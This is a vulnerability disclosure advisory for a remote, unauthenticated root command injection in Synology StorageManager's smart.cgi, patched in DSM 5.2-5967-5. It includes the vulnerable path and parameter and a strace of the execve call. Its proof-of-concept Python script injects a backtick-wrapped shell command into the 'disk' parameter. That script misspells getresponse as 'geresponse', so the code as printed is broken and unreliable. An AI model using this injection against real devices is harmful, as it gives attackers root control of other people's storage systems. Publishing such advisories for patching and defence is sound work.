SSD Advisory – Synology StorageManager smart.cgi Remote Command Execution

Vulnerability Summary
The following advisory describes a remote command execution vulnerability found in Synology StorageManager.
Storage Manager is “a management application that helps you organize and monitor the storage capacity on your Synology NAS. Depending on the model and number of installed hard drives, Storage Manager helps you accomplish the following tasks:

  • Create different types of RAID and non-RAID storage configurations, such as volumes, disk/RAID groups, iSCSI LUNs, and iSCSI Targets.
  • Monitor the overall storage usage of your Synology NAS.
  • Inspect the health of installed hard drives and solid state drives.
  • Use advanced options, such as hot spare drives, SSD TRIM, SSD cache, and more.”

Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program
Vendor response
Synology has released patches to address this vulnerability – DSM 5.2-5967-5
For more information: https://www.synology.com/en-global/releaseNote/DS210+

Vulnerability details
User controlled input is not sufficiently sanitized, and then passed to execve function.
Successful exploitation of this vulnerability enables a remote unauthenticated user to run commands as root on the machine.
The vulnerable parameter can be found in /webman/modules/StorageManager/smart.cgi with parameter action=apply&operation=quick&disk=%2Fdev%2Fsda
Strace

execve("/usr/syno/bin/smartctl", ["/usr/syno/bin/smartctl", "-d", "ata", "-
t", "short", "/dev/sda"], ["GATEWAY_INTERFACE=CGI/1.1",
"CONTENT_TYPE=application/x-www-form-urlencoded; charset=UTF-8",
"HTTP_X_REQUESTED_WITH=XMLHttpRequest", "REMOTE_ADDR=192.168.56.1",
"QUERY_STRING=", "REMOTE_PORT=34708", "DOCUMENT_ROOT=/usr/syno/synoman",
"HTTP_USER_AGENT=Mozilla/5.0 (X11; Linux i686; rv:47.0) Gecko/20100101
Firefox/47.0", "SERVER_SIGNATURE=",
"HTTP_ACCEPT=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
, "CONTENT_LENGTH=42",
"SCRIPT_FILENAME=/usr/syno/synoman/webman/modules/StorageManager/smart.cgi",
"HTTP_HOST=192.168.56.101:5000",
"REQUEST_URI=/webman/modules/StorageManager/smart.cgi",
"SERVER_SOFTWARE=Apache", "HTTP_CONNECTION=close",
"MOD_X_SENDFILE_ENABLED=yes",
"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/syno/sbin:/usr/syno/bin:/usr/local/s
bin:/usr/local/bin", "HTTP_ACCEPT_LANGUAGE=en-US,en;q=0.5",
"HTTP_REFERER=http://192.168.56.101:5000/webman/index.cgi",
"SERVER_PROTOCOL=HTTP/1.1", "HTTP_ACCEPT_ENCODING=gzip, deflate",
"SCRIPT_URI=http://192.168.56.101:5000/webman/modules/StorageManager/smart.cg
i", "SCRIPT_URL=/webman/modules/StorageManager/smart.cgi",
"REQUEST_METHOD=POST", "SERVER_ADMIN=admin", "SERVER_ADDR=192.168.56.101",
"PWD=/usr/syno/synoman/webman/modules/StorageManager", "SERVER_PORT=5000",
"SCRIPT_NAME=/webman/modules/StorageManager/smart.cgi",
"SERVER_NAME=192.168.56.101"]) = 0

Proof of Concept

# Synology StorageManager <= 5.2 Remote Root Command Execution
import httplib
HOST = raw_input("Enter Host: ")
#IDOR to bypass auth and ticks to chain commands
conn = httplib.HTTPConnection(HOST)
conn.request("GET","/webman/modules/StorageManager/smart.cgi?action=apply&operation=quick&disk=/dev/sda`id%20>/tmp/LOL`")
res = conn.geresponse()
print res.status, res.reason